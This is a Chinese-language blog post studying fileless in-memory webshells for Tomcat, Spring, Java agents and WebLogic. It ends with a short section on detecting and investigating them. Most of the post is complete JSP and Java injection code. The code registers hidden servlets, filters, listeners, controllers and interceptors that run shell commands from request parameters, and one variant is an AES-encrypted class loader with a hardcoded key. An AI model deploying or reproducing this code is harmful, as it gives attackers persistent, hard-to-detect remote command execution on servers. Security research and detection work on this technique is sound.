随着攻防对抗的博弈愈发激烈,流量分析、EDR等专业安全设备被防守方广泛使用,传统的文件上传的webshll或以文件形式驻留的后门越来越容易被检测到,webshell终于进入内存马时代,其关键在于无文件,利用中间件的进程执行恶意代码。本文试图进行一个学习,尽可能搞明白其来龙去脉
详情可参考:java web请求三大器——listener、filter、servlet
启动的顺序为listener->Filter->servlet,但是执行顺序与其特性相关,下面简单讲一下三大件
Servlet 是运行在 Web 服务器或应用服务器上的程序,作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层,负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
请求的处理过程:
init()
方法,init()
方法只在第一次请求的时候被调用service()
方法,service()
方法根据请求类型,这里是GET类型,分别调用doGet或者doPost方法,这里调用doGet方法,doXXX方法中是我们自己写的业务逻辑生命周期:
init(ServletConfig conf)
service(ServletRequest req,ServletResponse res)
方法中执行Filter,过滤器,是对Servlet技术的一个强补充,其主要功能是
基本工作原理
生命周期:
filter链
JavaWeb开发中的监听器(Listener)就是Application、Session和Request三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件:
用途
生命周期
详情可参考:Tomcat 架构原理解析到架构设计借鉴(这篇真的很详细具体)
简单理解,Tomcat是HTTP服务器+Servlet容器,对我们屏蔽了应用层协议和网络通信细节,给我们的是标准的 Request 和 Response 对象;对于具体的业务逻辑则作为变化点,交给我们来实现
Tomcat 启动流程:startup.sh -> catalina.sh start ->java -jar org.apache.catalina.startup.Bootstrap.main()
Tomcat 实现的 2 个核心功能:
Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper:
org.apache.catalina.core.StandardEngine
org.apache.catalina.core.StandardHost
org.apache.catalina.core.StandardContext
org.apache.catalina.core.StandardWrapper
Java反射无比强大,许多功能底层都是反射,其主要步骤包括:
Instrumentation是Java提供的一个来自JVM的接口,该接口提供了一系列查看和操作Java类定义的方法,例如修改类的字节码、向classLoader的classpath下加入jar文件等,使得开发者可以通过Java语言来操作和监控JVM内部的一些状态,进而实现Java程序的监控分析,甚至实现一些特殊功能(如AOP、热部署)
Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互
在注入内存马的过程中,我们可以利用java Instrumentation机制,动态的修改已加载到内存中的类里的方法,进而注入恶意的代码
大致如下:
web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马
这里用lex1993师傅的图小结下之前的webshell:
内存马早在17年n1nty师傅的Tomcat 源代码调试笔记 - 看不见的 Shell中已初见端倪,但一直不温不火
18年经过rebeyong师傅使用agent技术加持后,拓展了内存马的使用场景—— 利用“进程注入”实现无文件不死webshell,然终停留在奇技淫巧上
在各类HW洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。20年,LandGrey师傅构造了Spring controller内存马——基于内存 Webshell 的无文件攻击技术研究可以算是一波热潮起
至此内存马开枝散叶发展出了三大类型:
当然还有tomcat、weblogic等框架、容器的内存马
先放个各种demo的仓库:https://github.com/jweny/MemShellDemo
直接查看添加一个servlet后StandardContext的变化
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.yzddmr6.servletDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/demo</url-pattern> </servlet-mapping>
我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装
一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类。StandardWrapper对应配置文件中的如下节点:
<servlet> <servlet-name>servletDemo</servlet-name> <servlet-class>com.yzddmr6.servletDemo</servlet-class> </servlet>
servlet有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系
servletMappings对应配置文件中的如下节点:
<servlet-mapping> <servlet-name>servletDemo</servlet-name> <url-pattern>/demo</url-pattern> </servlet-mapping>
过程:
执行下面的代码,访问当前应用的/shell路径,加上cmd参数就可以命令执行
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <% // 创建恶意Servlet Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { String cmd = servletRequest.getParameter("cmd"); boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; %> <% // 获取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext(); // 用Wrapper对其进行封装 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("jweny"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // 添加封装后的恶意Wrapper到StandardContext的children当中 standardCtx.addChild(newWrapper); // 添加ServletMapping将访问的URL和Servlet进行绑定 standardCtx.addServletMapping("/shell","jweny"); %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.core.ApplicationContext"%> <%@ page import = "org.apache.catalina.core.StandardContext"%> <%@ page import = "javax.servlet.*"%> <%@ page import = "javax.servlet.annotation.WebServlet"%> <%@ page import = "javax.servlet.http.HttpServlet"%> <%@ page import = "javax.servlet.http.HttpServletRequest"%> <%@ page import = "javax.servlet.http.HttpServletResponse"%> <%@ page import = "java.io.IOException"%> <%@ page import = "java.lang.reflect.Field"%> <!-- 1 request this file --> <!-- 2 request thisfile/../evilpage?cmd=calc --> <% class EvilServlet implements Servlet{ @Override public void init(ServletConfig config) throws ServletException {} @Override public String getServletInfo() {return null;} @Override public void destroy() {} public ServletConfig getServletConfig() {return null;} @Override public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { HttpServletRequest request1 = (HttpServletRequest) req; HttpServletResponse response1 = (HttpServletResponse) res; if (request1.getParameter("cmd") != null){ Runtime.getRuntime().exec(request1.getParameter("cmd")); } else{ response1.sendError(HttpServletResponse.SC_NOT_FOUND); } } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); EvilServlet evilServlet = new EvilServlet(); org.apache.catalina.Wrapper evilWrapper = standardContext.createWrapper(); evilWrapper.setName("evilPage"); evilWrapper.setLoadOnStartup(1); evilWrapper.setServlet(evilServlet); evilWrapper.setServletClass(evilServlet.getClass().getName()); standardContext.addChild(evilWrapper); standardContext.addServletMapping("/evilpage", "evilPage"); out.println("动态注入servlet成功"); %>
可以看到请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行
自定义一个filter
package com.yzddmr6; import javax.servlet.*; import java.io.IOException; public class filterDemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("Filter初始化创建...."); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("进行过滤操作......"); // 放行 chain.doFilter(request, response); } @Override public void destroy() { } }
然后在web.xml中注册我们的filter,这里我们设置url-pattern为 /demo
即访问 /demo
才会触发
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>filterDemo</filter-name> <filter-class>filter.filterDemo</filter-class> </filter> <filter-mapping> <filter-name>filterDemo</filter-name> <url-pattern>/demo</url-pattern> </filter-mapping> </web-app>
访问 http://localhost:8080/demo
,发现成功触发
整个流程可以用宽字节安全的图来小结:
其中的一些类如下:
FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern。对应了web.xml中配置的<filter-mapping>
,里面代表了各个filter之间的调用顺序
FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
WebXml:存放 web.xml 中内容的类
ContextConfig:Web应用的上下文配置类
StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet
过程:
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启
访问下面这个jsp,注入成功后,用?cmd=
即可命令执行(该方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3):
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * 将filterDef添加到filterDefs中 */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import = "org.apache.catalina.Context" %> <%@ page import = "org.apache.catalina.core.ApplicationContext" %> <%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import = "org.apache.catalina.core.StandardContext" %> <!-- tomcat 8/9 --> <!-- page import = "org.apache.tomcat.util.descriptor.web.FilterMap" page import = "org.apache.tomcat.util.descriptor.web.FilterDef" --> <!-- tomcat 7 --> <%@ page import = "org.apache.catalina.deploy.FilterMap" %> <%@ page import = "org.apache.catalina.deploy.FilterDef" %> <%@ page import = "javax.servlet.*" %> <%@ page import = "javax.servlet.annotation.WebServlet" %> <%@ page import = "javax.servlet.http.HttpServlet" %> <%@ page import = "javax.servlet.http.HttpServletRequest" %> <%@ page import = "javax.servlet.http.HttpServletResponse" %> <%@ page import = "java.io.IOException" %> <%@ page import = "java.lang.reflect.Constructor" %> <%@ page import = "java.lang.reflect.Field" %> <%@ page import = "java.lang.reflect.InvocationTargetException" %> <%@ page import = "java.util.Map" %> <!-- 1 revise the import class with correct tomcat version --> <!-- 2 request this jsp file --> <!-- 3 request xxxx/this file/../abcd?cmdc=calc --> <% class DefaultFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse response = (HttpServletResponse) servletResponse; if (req.getParameter("cmdc") != null) { Runtime.getRuntime().exec(req.getParameter("cmdc")); response.getWriter().println("exec done"); } filterChain.doFilter(servletRequest, servletResponse); } public void destroy() {} } %> <% String name = "DefaultFilter"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ DefaultFilter filter = new DefaultFilter(); FilterDef filterDef = new FilterDef(); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); // filterMap.addURLPattern("/*"); filterMap.addURLPattern("/abcd"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig); out.write("Inject success!"); } else{ out.write("Injected"); } %>
Listener的监听主要分为三类:
对于这三类,熟悉java和Tomcat的同学应该知道,对于request的请求和篡改是常见的利用方式,另两者涉及到服务器的启动跟停止,或者是Session的建立跟销毁,就不太适合
过程:
上传并访问下面这个jsp文件
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <% Object obj = request.getServletContext(); java.lang.reflect.Field field = obj.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(obj); //获取ApplicationContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); //获取StandardContext ListenerDemo listenerdemo = new ListenerDemo(); //创建能够执行命令的Listener standardContext.addApplicationEventListener(listenerdemo); %> <%! public class ListenerDemo implements ServletRequestListener { public void requestDestroyed(ServletRequestEvent sre) { System.out.println("requestDestroyed"); } public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); try{ String cmd = sre.getServletRequest().getParameter("cmd"); Runtime.getRuntime().exec(cmd); }catch (Exception e ){ //e.printStackTrace(); } } } %>
接下来访问任意路径,并传入cmd参数命令执行
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="javax.servlet.*" %> <%@ page import="javax.servlet.annotation.WebServlet" %> <%@ page import="javax.servlet.http.HttpServlet" %> <%@ page import="javax.servlet.http.HttpServletRequest" %> <%@ page import="javax.servlet.http.HttpServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <!-- 1、exec this--> <!-- 2、request any url with a parameter of "shell" --> <% class S implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { if(request.getParameter("shell") != null){ try { Runtime.getRuntime().exec(request.getParameter("shell")); } catch (IOException e) {} } } } %> <% ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); out.println("inject success"); S servletRequestListener = new S(); standardContext.addApplicationEventListener(servletRequestListener); %> <!-- 1、exec this--> <!-- 2、request any url with a parameter of "shell" -->
参考这两篇:
相较于前面的三种,这种是真正的无文件
过程:
4个方法如下:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
核心步骤如下(这里需要注意下spring的版本,详情可见上面两篇文章):
public class InjectToController{ public InjectToController(){ // 1. 利用spring内部方法获取context WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 2. 从context中获得 RequestMappingHandlerMapping 的实例 RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); // 3. 通过反射获得自定义 controller 中的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 4. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition("/malicious"); // 5. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 6. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } public void test() { xxx } }
用来执行命令回显的 Webshell 代码示例: package me.landgrey; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; @Controller public class SSOLogin { @RequestMapping(value = "/favicon") public void login(HttpServletRequest request, HttpServletResponse response){ try { String arg0 = request.getParameter("code"); PrintWriter writer = response.getWriter(); if (arg0 != null) { String o = ""; java.lang.ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0}); }else{ p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0}); } java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A"); o = c.hasNext() ? c.next(): o; c.close(); writer.write(o); writer.flush(); writer.close(); }else{ response.sendError(404); } }catch (Exception e){ } } }
import org.apache.catalina.connector.CoyoteReader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.*; import java.io.*; import java.net.*; import java.sql.*; import java.text.*; import javax.crypto.*; import javax.crypto.spec.*; import javax.servlet.http.HttpSession; import javax.servlet.jsp.PageContext; //import org.apache.jasper.runtime.PageContextImpl; import org.apache.taglibs.standard.lang.jstl.test.PageContextImpl; import org.apache.jasper.servlet.JasperLoader; public class InjectToController extends ClassLoader { private final String injectUrlPath = "/malicious"; private final String k="e45e329feb5d925b"; /* 该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond */ public Class g(byte []b){ return super.defineClass(b, 0, b.length); } public InjectToController(ClassLoader c){super(c);} public InjectToController(String aaa) {} public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class); Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry"); method.setAccessible(true); Object mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping); // java.lang.ClassLoader // Method method1 = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredMethod("getMappings"); // method1.setAccessible(true); // Map mappingLookup = (Map) method1.invoke(mappingRegistry); Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup"); field.setAccessible(true); Map urlLookup = (Map) field.get(mappingRegistry); Iterator urlIterator = urlLookup.keySet().iterator(); while (urlIterator.hasNext()){ String urlPath = (String) urlIterator.next(); if (this.injectUrlPath.equals(urlPath)){ System.out.println("URL已存在"); return; } } // 2. 通过反射获得自定义 controller 中唯一的 Method 对象 Method method2 = InjectToController.class.getMethod("test"); // 3. 定义访问 controller 的 URL 地址 PatternsRequestCondition url = new PatternsRequestCondition(this.injectUrlPath); // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST) RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); // 5. 在内存中动态注册 controller RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); InjectToController injectToController = new InjectToController("aaa"); mappingHandlerMapping.registerMapping(info, injectToController, method2); } // controller处理请求时执行的代码 public Object test() throws Exception { HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest(); HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); HttpSession session = request.getSession(); // WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); // session.putValue("u",this.k); // shell.jsp中的对象情况如下 // this.getClass().getClassLoader() -> org.apache.jasper.servlet.JasperLoader // pageContext -> org.apache.jasper.runtime.PageContextImpl // 冰蝎逻辑 if (request.getMethod().equals("POST")) { session.setAttribute("u", this.k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(this.k.getBytes(),"AES")); InjectToController injectToController = new InjectToController(ClassLoader.getSystemClassLoader()); String base64String = request.getReader().readLine(); byte[] bytesEncrypted = new sun.misc.BASE64Decoder().decodeBuffer(base64String); // base64解码 byte[] bytesDecrypted = c.doFinal(bytesEncrypted); // AES解密 Class newClass = injectToController.g(bytesDecrypted); // 调用g函数,进一步调用父类defineClass函数获得类对象 Map<String, Object> pageContext = new HashMap<String, Object>(); // 为pageContext添加三个对象 pageContext.put("session", session); pageContext.put("request", request); pageContext.put("response", response); newClass.newInstance().equals(pageContext); // 调用被加载的恶意对象的equals方法,最终执行payload // new InjectToController(ClassLoader.getSystemClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); } return response; // 返回结果 } }
参考这两篇:
这种类型的场景:最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 tomcat 容器下,有 filter、listener 等技术可以达到上述要求。那么在 spring 框架层面下,就考虑Interceptor 拦截了
参见上面controller型
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
结合漏洞(如反序列化、sql注入等)注入
//package bitterz.interceptors; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class TestInterceptor extends HandlerInterceptorAdapter { public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); // 避免重复添加 for (int i = adaptedInterceptors.size() - 1; i > 0; i--) { if (adaptedInterceptors.get(i) instanceof TestInterceptor) { System.out.println("已经添加过TestInterceptor实例了"); return; } } TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环 adaptedInterceptors.add(aaa); // 添加全局interceptor } private TestInterceptor(String aaa){} @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if (code != null) { java.lang.Runtime.getRuntime().exec(code); return true; } else { // response.sendError(404); return true; }}}
参考这两篇:
通过 java.lang.instrument
实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。在 Instrumentation 中增加了名叫 Transformer 的 Class 文件转换器,转换器可以改变二进制流的数据,可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
想要实现这样一种效果:访问web服务器上的任意一个url,无论这个url是静态资源还是jsp文件,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令。
为了达到这个目的,需要找一个特殊的类,这个类要尽可能在http请求调用栈的上方,又不能与具体的URL有耦合,而且还能接受客户端request中的数据。经过分析,发现org.apache.catalina.core.ApplicationFilterChain
类的internalDoFilter
方法最符合我们的要求
整个植入流程:
打包好的memshell:
参考基于tomcat的内存 Webshell 无文件攻击技术
试图做到tomcat下的通杀Webshell
具体文章讲的很清楚了
参考weblogic 无文件webshell的技术研究
类似于tomcat场景
一些具体的思路和常见特征见:
在java中,只有被JVM加载后的类才能被调用,或者在需要时通过反射通知JVM加载。所以特征都在内存中,表现形式为被加载的class。需要通过某种方法获取到JVM的运行时内存中已加载的类, Java本身提供了Instrumentation类来实现运行时注入代码并执行,因此产生一个检测思路:注入jar包-> dump已加载class字节码->反编译成java代码-> 源码webshell检测。
这样检测比较消耗性能,我们可以缩小需要进行源码检测的类的范围,通过如下的筛选条件组合使用筛选类进行检测:
还有一些比较弱的特征可以用来辅助检测,比如类名称中包含shell或者为随机名,使用不常见的classloader加载的类等等。
另外,有一些工具可以辅助检测内存马,如java-memshell-scanner是通过jsp扫描应用中所有的filter和servlet,然后通过名称、对应的class是否存在来判断是否是内存马
如果是jsp注入,日志中排查可疑jsp的访问请求。
如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法
根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。
如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。
如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200
已有的可用工具:
参考: